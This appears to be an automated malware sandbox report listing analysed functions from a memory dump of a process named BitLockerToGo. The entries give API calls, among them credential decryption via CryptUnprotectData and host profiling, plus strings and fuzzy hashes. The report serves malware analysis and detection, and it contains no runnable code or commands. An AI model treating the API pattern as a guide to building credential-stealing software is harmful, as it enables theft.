Instruction Fuzzy Hash: 2B82ABB1600B008FD729CF29C890B67B7E6FF89314F15896DD9AA8B795D774E901CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00371CAA Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 00371D5E
GetSystemMetrics.USER32 ref: 00371D72
DeleteObject.GDI32 ref: 00371DDD
SelectObject.GDI32 ref: 00371E37
SelectObject.GDI32 ref: 00371ED1
DeleteObject.GDI32 ref: 00371F0E

Strings

, xrefs: 00371E9E

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 1449868515-3916222277
Opcode ID: 6b6f08d3136944e6357ebaee56dfcab398f73762e2647f2c6b3732fb45b20d99
Instruction ID: 0149fdb37c9f959139729e31acc79e2503cc072d269a4fc4672638fc44874cd8
Opcode Fuzzy Hash: 6b6f08d3136944e6357ebaee56dfcab398f73762e2647f2c6b3732fb45b20d99
Instruction Fuzzy Hash: 7FA14AB4614B008FC364DF28D981A26BBF5FF89704F10896DE99AC7760DB35B844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00344B30 Relevance: 6.7, Strings: 5, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IEND, xrefs: 0034504E
IDAT, xrefs: 00344FD1
VUUU, xrefs: 00344CAD
IHDR, xrefs: 00344F62
), xrefs: 00344BA8

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR$VUUU
API String ID: 0-2101632234
Opcode ID: f1f6222913e8833c61c2d25880c8e6164675aad9e74797d79f294a50bb539b88
Instruction ID: cb410b79fcf5d17524b60a4808d1ab3dc3cf5f84b3fda1afde2c3d1ad4ea73b2
Opcode Fuzzy Hash: f1f6222913e8833c61c2d25880c8e6164675aad9e74797d79f294a50bb539b88
Instruction Fuzzy Hash: 8E020F71A083808FD745CF28D89076BBBE1EF95304F05866DE9858F392D779E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003679F5 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2RPJ, xrefs: 00367A01

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 2RPJ
API String ID: 0-955047986
Opcode ID: 1b3c9b16c816572dca9f59f77c8120284eae27f9d11be37ea5d3a20b3887a223
Instruction ID: 9e7211f952a01d473589f949cc9b2140ac3a0f833ba552c4582ed7e6ddd51da8
Opcode Fuzzy Hash: 1b3c9b16c816572dca9f59f77c8120284eae27f9d11be37ea5d3a20b3887a223
Instruction Fuzzy Hash: 70E171701047418BD72ACF29C060766FBF2BF5A304F28869DD4DA8B796DB35E846CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00367059 Relevance: 3.7, APIs: 2, Instructions: 742COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b68b6eb9778be475ac6525e718e985d018adb0ce0d2f24bf69224370c2827ec
Instruction ID: c95d1f68c71f7e21e5abe3938066e9965aa924cf0c1ba0f3fef724707d3c38aa
Opcode Fuzzy Hash: 7b68b6eb9778be475ac6525e718e985d018adb0ce0d2f24bf69224370c2827ec
Instruction Fuzzy Hash: C93280701087818FE726CF28C494B62BBF1FF16308F58859DD4DA8B796D375A846CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00366948 Relevance: 3.7, APIs: 2, Instructions: 676COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 003674A2
GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0036759F

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: dd9b86c7cfe74fba4d66c4f27d993f91c4f9c048ec1b102fb9cff654210641ea
Instruction ID: 8e1b26a352a4e46639842f49aaf08b2c6b3088c012d0bd62a0d1ba7ed9a28652
Opcode Fuzzy Hash: dd9b86c7cfe74fba4d66c4f27d993f91c4f9c048ec1b102fb9cff654210641ea
Instruction Fuzzy Hash: 4E3260701047428FE726CF28C490B62FBF1BF5A304F58869DD4DA8B796D735A845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0037B550 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0037E58C,005C003F,00000006,00120089,?,00000018,7452,00000000,003556BE), ref: 0037B576

Strings

7452, xrefs: 0037B564

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: 7452
API String ID: 2994545307-87867774
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Uniqueness

Uniqueness Score: -1.00%

Function 0036112E Relevance: 2.9, Strings: 2, Instructions: 369COMMON

Download Yara Rule

Strings

onqp, xrefs: 003613C8
onqp, xrefs: 00361518

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp$onqp
API String ID: 0-2464386876
Opcode ID: 2fd11507a97eb43670e08b4e2a3743967a30f39e1da302954bca8e7f2f930d77
Instruction ID: 252f9019d2b81fae316f2770b0a27da794dff199a41baf45baee7847ad841f5a
Opcode Fuzzy Hash: 2fd11507a97eb43670e08b4e2a3743967a30f39e1da302954bca8e7f2f930d77
Instruction Fuzzy Hash: EDC1AAB5508300DFD7168F24C895B2BBBF6FB89344F28896DF5969B2A1D778D801CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00368410 Relevance: 1.9, APIs: 1, Instructions: 387COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0036852B

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: d4a21a73a934587f801c61093a9453e6f631a773c0c9d67e7ebaa8f12ea1ee2d
Instruction ID: c2715aa1aaf21fadf5ecc02e2fb14d9658062abed246b9d51f5b080af5c6b4de
Opcode Fuzzy Hash: d4a21a73a934587f801c61093a9453e6f631a773c0c9d67e7ebaa8f12ea1ee2d
Instruction Fuzzy Hash: 38C181701047418BD72ACF29C0A0762FBF1BF5A304F28869DD4DA8B796DB35E806CB95

Uniqueness

Uniqueness Score: -1.00%

Function 003618A0 Relevance: 1.6, Strings: 1, Instructions: 378COMMON

Download Yara Rule

Strings

onqp, xrefs: 00361918

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: onqp
API String ID: 2994545307-1718216680
Opcode ID: df51c6954aa5a8233196ec6912c8c58a11ee19ec78996995829d0afd5b7adb70
Instruction ID: 5a60c4beff35a2eaa57180a4493af2e4b9761c053e5ffc476b95d07b195973a5
Opcode Fuzzy Hash: df51c6954aa5a8233196ec6912c8c58a11ee19ec78996995829d0afd5b7adb70
Instruction Fuzzy Hash: BBC1D1B1A093018FD715CF18C89072BB7E2EF95364F198A2DE4D58B395E375D805CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00356682 Relevance: 1.6, APIs: 1, Instructions: 124encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 003792D0: RtlAllocateHeap.NTDLL(?,00000000,00349DBE), ref: 00379367

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0035698E

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: AllocateCryptDataHeapUnprotect
String ID:
API String ID: 1063247315-0
Opcode ID: bdbb191747c35d1cc37703c18d9770425f17c982dda921ceb5c9b5ee0df3416a
Instruction ID: 611dc6dd6945d72e5a4d4b4337b13b4b172e3c559e572ffa572172aed22052d5
Opcode Fuzzy Hash: bdbb191747c35d1cc37703c18d9770425f17c982dda921ceb5c9b5ee0df3416a
Instruction Fuzzy Hash: 4B41E6B1508341CFD725CF28C492B5BF7E5AFC5305F54892DE8A987362D630D80ACB42

Uniqueness

Uniqueness Score: -1.00%

Function 0037EE70 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

7452, xrefs: 0037EED8

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 3df9f7c4fb8224fbfed23a9180ab2d98ea7b403cb590b0dc78f1c7bf34315167
Instruction ID: 4b635d9e37a3690f0de982668759d51538512521eb7ccb052bba1cf50949fa17
Opcode Fuzzy Hash: 3df9f7c4fb8224fbfed23a9180ab2d98ea7b403cb590b0dc78f1c7bf34315167
Instruction Fuzzy Hash: 3691A8726043028FD725CF14C890B6BB7E2FF88754F56896CE8895B291C739AC15CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0037E8D0 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

7452, xrefs: 0037E938

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 780e773a5d6f8a73903149628c323334dc80f794318606b5b1e868aa22401b02
Instruction ID: c54badab5ec11eb5d51e9e6a67e44a305bf457787c9e2f9beb3c89b3948e9c2e
Opcode Fuzzy Hash: 780e773a5d6f8a73903149628c323334dc80f794318606b5b1e868aa22401b02
Instruction Fuzzy Hash: 4D519C712043019BE725CF14C890B6FBBE2FBC9758F58895CE5999B2A0D378E945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0037C461 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

onqp, xrefs: 0037C4C1

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: onqp
API String ID: 2994545307-1718216680
Opcode ID: a7e4f249a4a672260f17dffe070ba0951ccae5baa93e98ecfc31347878184892
Instruction ID: 16538ac5f83c6d62012633dc603481bca32c64d4f8072e6ab133455627f56437
Opcode Fuzzy Hash: a7e4f249a4a672260f17dffe070ba0951ccae5baa93e98ecfc31347878184892
Instruction Fuzzy Hash: E7317C702107009FD73A8F06C8A4B37B7A6BF85324F25DA1CC4AB47A96D379E801CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0037C615 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

onqp, xrefs: 0037C64A

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 817f5ef9dc5020b590ee0f93b3d10132152ba7abaed9dff1f308433545bf5e1c
Instruction ID: a22ed61bbf30acf99ad105ed652a3cae506ace1ce31b9b743bf91660f85fdd50
Opcode Fuzzy Hash: 817f5ef9dc5020b590ee0f93b3d10132152ba7abaed9dff1f308433545bf5e1c
Instruction Fuzzy Hash: D1210574210B008FD739CF15C4A0B27F7E2EB49705F18AA5DC49B4BA96D379E8058B44

Uniqueness

Uniqueness Score: -1.00%

Function 00364478 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c62cf83ce5702da3ba3566f89f61e616d4598b1f3d34b2caf2f30de123cd8400
Instruction ID: 0ca57b2fedf45e220721437334e25e39895beef527e9b3ed14506df5ffa3c7cc
Opcode Fuzzy Hash: c62cf83ce5702da3ba3566f89f61e616d4598b1f3d34b2caf2f30de123cd8400
Instruction Fuzzy Hash: 60B136746007008FD72A8F28C8A1B62B7B2FF56314F19899CD8978F7A5E775E845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00342D10 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 294007c0661205cd08c359a62737c74c6aa44dd5b11237b1f7ff68158dcacf67
Instruction ID: b61c94b1df59c6f59b92a1484104096b66e236865eaa86458ae8119f37baf895
Opcode Fuzzy Hash: 294007c0661205cd08c359a62737c74c6aa44dd5b11237b1f7ff68158dcacf67
Instruction Fuzzy Hash: 387139319086428FD3138B28CC4436BBBE5EF96300F9A8569F495AF392D774F91AC791

Uniqueness

Uniqueness Score: -1.00%

Function 00370169 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 497e9c0d3d8b42af80c79a74b5375d853b66e5f856d3d34fe1a577cbc3c0dad8
Instruction ID: 04d86f7ea4e2461721c518c2f87193dd2936a2162944a8d661374ae36ffa0a41
Opcode Fuzzy Hash: 497e9c0d3d8b42af80c79a74b5375d853b66e5f856d3d34fe1a577cbc3c0dad8
Instruction Fuzzy Hash: 2EF015B4104301CFC316EF28C884B1BBBE8FB88344F00884CE99A8B354CBB4AA40CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0035E0C0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0035E1AD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0035E1D8

Strings

1mo, xrefs: 0035E0F7
=Y,[, xrefs: 0035E0DF
~H, xrefs: 0035E373
iWk, xrefs: 0035E0FF
3]!_, xrefs: 0035E0D7
je, xrefs: 0035E10B

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: iWk$1mo$3]!_$=Y,[$je$~H
API String ID: 237503144-1999540153
Opcode ID: 99e22395faa2b60794141f254bcc0fbaea22031019df066bc3d129de9ee62e6c
Instruction ID: 9c0e44eb2251d75eb3c4ff3cfd02984401498763d269de36cb991231247d0264
Opcode Fuzzy Hash: 99e22395faa2b60794141f254bcc0fbaea22031019df066bc3d129de9ee62e6c
Instruction Fuzzy Hash: 40618A712083918FE329CF15C891BABB7E5EFC9718F014E1CE8D55B291D3B49A09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0035EAD0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0035EC1D
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0035EC4C

Strings

JW, xrefs: 0035ECEC, 0035ECF0
TF, xrefs: 0035EC6A
aZ, xrefs: 0035EC5A
)qs, xrefs: 0035EB4F
ru, xrefs: 0035EB5B

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: )qs$JW$TF$aZ$ru
API String ID: 237503144-2698335981
Opcode ID: 2b957b26c2a17c1acb10140e971bde920f6e4af323e4154ad52d0aa5f7336ce8
Instruction ID: a7230442bc529f6a4977e83eea5f3918d21b55dc2e0c484986c6892dc1aaf5e0
Opcode Fuzzy Hash: 2b957b26c2a17c1acb10140e971bde920f6e4af323e4154ad52d0aa5f7336ce8
Instruction Fuzzy Hash: 3D5132B1108342AFD318CF05C894B5FBBE5EB85354F50891CF8A55B391D735DA4ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 00355BC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00355BFD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00355C2E

Strings

4U+W, xrefs: 00355C4C

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 4U+W
API String ID: 237503144-3070584207
Opcode ID: 4e568fbfd0e60ca0d6b08d6c83cfb5eeec333a68e10c967efbd2a33af6f54bb1
Instruction ID: ae763285fca763409b03d699d652f8e5a64035babfc1babf76da06f392e1a173
Opcode Fuzzy Hash: 4e568fbfd0e60ca0d6b08d6c83cfb5eeec333a68e10c967efbd2a33af6f54bb1
Instruction Fuzzy Hash: 165102712083419BD725CF14C8A1BABB7F5FF86354F04891CF99A9B391D774A809CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003491D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0034923C

Strings

of system that leetspeak, reflection primarily the of other modified on glyphs resemblance is replacements similarity or eleet the ways used character a often spellings on play uses their via internet. or it in, xrefs: 003491FF

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: ExitProcess
String ID: of system that leetspeak, reflection primarily the of other modified on glyphs resemblance is replacements similarity or eleet the ways used character a often spellings on play uses their via internet. or it in
API String ID: 621844428-2804141084
Opcode ID: db5d1336474917262b338aa76174f8e09def30621f9b4b6b0330afcf78c09037
Instruction ID: 0645e250cd86dd3b03e1eb09240ab6cfa0d217a047d836325773b052f9099237
Opcode Fuzzy Hash: db5d1336474917262b338aa76174f8e09def30621f9b4b6b0330afcf78c09037
Instruction Fuzzy Hash: 14F0B470C1831CAACB233BB46A0A76F3BEC6F12340F010C17EC864D901EAB574049663

Uniqueness

Uniqueness Score: -1.00%

Function 0037AD26 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0037AE1E

Strings

&=, xrefs: 0037AD10

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: &=
API String ID: 1029625771-3250477342
Opcode ID: b813688cdea801c59b705dc10bc9bf2411104c8ab1def417cdb540399c83886c
Instruction ID: 5de0f47d647a021cfdea556424aa2397cf4c00f98c921341e68ff69f73fefaec
Opcode Fuzzy Hash: b813688cdea801c59b705dc10bc9bf2411104c8ab1def417cdb540399c83886c
Instruction Fuzzy Hash: 8921ACB0519301AFD719CF10D8A0A2EBBE6FFC4348F14C81EE49A1B265E7348905CF82

Uniqueness

Uniqueness Score: -1.00%

Function 0037AA87 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0037AAB7

Strings

$=, xrefs: 0037AAA0

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: $=
API String ID: 1029625771-3145599614
Opcode ID: 46c8090b4dcf153faf4379861f22690541cc23bff5331073a38e27a492cc2b93
Instruction ID: fcd7ea60d9875e491c2af45ad05f3fc41969d93c85c8366c13280f87132fa7b9
Opcode Fuzzy Hash: 46c8090b4dcf153faf4379861f22690541cc23bff5331073a38e27a492cc2b93
Instruction Fuzzy Hash: 46D05B71165F068F9757D730AE51C2E329DBEC0380716C166C00741215EB38C802CFB3

Uniqueness

Uniqueness Score: -1.00%

Function 003585D0 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0035860A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00358638

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 798607c22a59f94be27d0571632cde25ca79f14ab8bdc23515da21c8f563777c
Instruction ID: a3209764431877d2d2f5032d6f4d3322e279e9a7c0313a7fd719f6dd27fa4b0f
Opcode Fuzzy Hash: 798607c22a59f94be27d0571632cde25ca79f14ab8bdc23515da21c8f563777c
Instruction Fuzzy Hash: 1F01D272550604BBE2119B14CC86F67736CEB85725F448608FE66D72D1EB30BD0887F1

Uniqueness

Uniqueness Score: -1.00%

Function 0037B22D Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837ac1f2251fc955d6ad16d94b20a0f572ca89bd47aa9c419301b64216e73ae0
Instruction ID: 6e788eebf878777ebf7024d858f162974bf00e3e24bdcc8e36c6f281b43c6c7f
Opcode Fuzzy Hash: 837ac1f2251fc955d6ad16d94b20a0f572ca89bd47aa9c419301b64216e73ae0
Instruction Fuzzy Hash: FB4156B0519301AFC715DF11D8A4B2EBBE6FFC5348F14C91DE8AA5B2A5E7348904CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0037AC2D Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0037ACDB

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8048213817970338ef9ee8d3b5aca7dc4307c529af98f77101d7e58a5d44714a
Instruction ID: 30c87f9c568c591c7ce6226ed6b055c0d52f563a8ebb84f18fb660e9fc5867b0
Opcode Fuzzy Hash: 8048213817970338ef9ee8d3b5aca7dc4307c529af98f77101d7e58a5d44714a
Instruction Fuzzy Hash: 8411E07024C3419BD708DF00D4A172FBBE2EFE9319F248A0DE4A947385D7399606CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0037B424 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0037B498

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c67f6bd0000d93e8770bfba61275a0c588d0320ecd1766747291f5f30aa0d496
Instruction ID: b30f6f1a0422ff6ca7c4f734562a0072adae631391bd063a86807230a495daa5
Opcode Fuzzy Hash: c67f6bd0000d93e8770bfba61275a0c588d0320ecd1766747291f5f30aa0d496
Instruction Fuzzy Hash: 60115475A09B808FD7238F29DCD1680BFB1EF16309709059AD5E5C7A63C325B85DDB20

Uniqueness

Uniqueness Score: -1.00%

Function 003793AB Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00379456

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: bca12e9b5ac5e54318402b4fea2c3a3ced501a4b0e98edc15afe418f81f98cec
Instruction ID: 95ddef893e0c99f79500e645aec79240e8898395d516cbbef9dc66a87df04abb
Opcode Fuzzy Hash: bca12e9b5ac5e54318402b4fea2c3a3ced501a4b0e98edc15afe418f81f98cec
Instruction Fuzzy Hash: 511118706093019FD708CF04D4A476BBBA2FBC4319F24CA5DE4A907681C73AD906CB86

Uniqueness

Uniqueness Score: -1.00%

Function 003792D0 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00349DBE), ref: 00379367

Memory Dump Source

Source File: 00000002.00000002.2006080622.0000000000340000.00000040.00000400.00020000.00000000.sdmp, Offset: 00340000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9ebe4a99efb1340faae3d6320d4f857e8a2b800c52a157977f2e6e585c502157
Instruction ID: f32bc8d0594ee54f780d7bfa7bf79d575eeddb4841edf6a4d0e3d7d166b51be2
Opcode Fuzzy Hash: 9ebe4a99efb1340faae3d6320d4f857e8a2b800c52a157977f2e6e585c502157
Instruction Fuzzy Hash: 8A1139745083019FD708CF14D860B6FBBA6FBC5329F148A1DE8A907791D7359915CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 0036B978 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

